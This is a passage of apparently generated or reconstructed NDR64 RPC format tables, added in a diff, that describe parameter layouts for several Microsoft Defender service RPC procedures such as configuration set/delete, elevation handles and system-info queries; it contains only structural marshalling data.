(NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1035, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag548_t __midl_frag548 = +{ +/* Proc52_ServerMpRpcSignatureThreatOpen */ + { + /* Proc52_ServerMpRpcSignatureThreatOpen */ /* procedure Proc52_ServerMpRpcSignatureThreatOpen */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1288, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag544_t __midl_frag544 = +{ +/* struct _NDR64_CONTEXT_HANDLE_FORMAT */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 65 /* 0x41 */, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 3 /* 0x3 */ +}; + +static const __midl_frag542_t __midl_frag542 = +{ +/* Proc51_ServerMpRpcElevateCleanHandle */ + { + /* Proc51_ServerMpRpcElevateCleanHandle */ /* procedure Proc51_ServerMpRpcElevateCleanHandle */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag1140, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag544, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag535_t __midl_frag535 = +{ +/* Proc50_ServerMpRpcElevationHandleClose */ + { + /* Proc50_ServerMpRpcElevationHandleClose */ /* procedure Proc50_ServerMpRpcElevationHandleClose */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 68 /* 0x44 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 224 /* 0xe0 */, + 8 /* 0x8 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1156, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag528_t __midl_frag528 = +{ +/* Proc49_ServerMpRpcElevationHandleAttach */ + { + /* Proc49_ServerMpRpcElevationHandleAttach */ /* procedure Proc49_ServerMpRpcElevationHandleAttach */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1288, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag521_t __midl_frag521 = +{ +/* Proc48_ServerMpRpcElevationHandleOpen */ + { + /* Proc48_ServerMpRpcElevationHandleOpen */ /* procedure Proc48_ServerMpRpcElevationHandleOpen */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 172 /* 0xac */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1288, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag513_t __midl_frag513 = +{ +/* Proc47_ServerMpRpcConfigDelValue */ + { + /* Proc47_ServerMpRpcConfigDelValue */ /* procedure Proc47_ServerMpRpcConfigDelValue */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag508_t __midl_frag508 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ /* Offset */ + } +}; + +static const __midl_frag507_t __midl_frag507 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag508 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag506_t __midl_frag506 = +{ +/* *char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag507 +}; + +static const __midl_frag499_t __midl_frag499 = +{ +/* Proc46_ServerMpRpcConfigSetValue */ + { + /* Proc46_ServerMpRpcConfigSetValue */ /* procedure Proc46_ServerMpRpcConfigSetValue */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 7 /* 0x7 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag507, + { + /* arg_5 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag494_t __midl_frag494 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ /* Offset */ + } +}; + +static const __midl_frag493_t __midl_frag493 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag494 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag492_t __midl_frag492 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag493 +}; + +static const __midl_frag491_t __midl_frag491 = +{ +/* **char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag492 +}; + +static const __midl_frag487_t __midl_frag487 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ /* Offset */ + } +}; + +static const __midl_frag486_t __midl_frag486 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag487 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag485_t __midl_frag485 = +{ +/* *char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag486 +}; + +static const __midl_frag482_t __midl_frag482 = +{ +/* Proc45_ServerMpQuerySystemInfo */ + { + /* Proc45_ServerMpQuerySystemInfo */ /* procedure Proc45_ServerMpQuerySystemInfo */ + (NDR64_UINT32) 23986240 /* 0x16e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 80 /* 0x50 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 7 /* 0x7 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag486, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag491, + { + /* arg_5 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag474_t __midl_frag474 = +{ 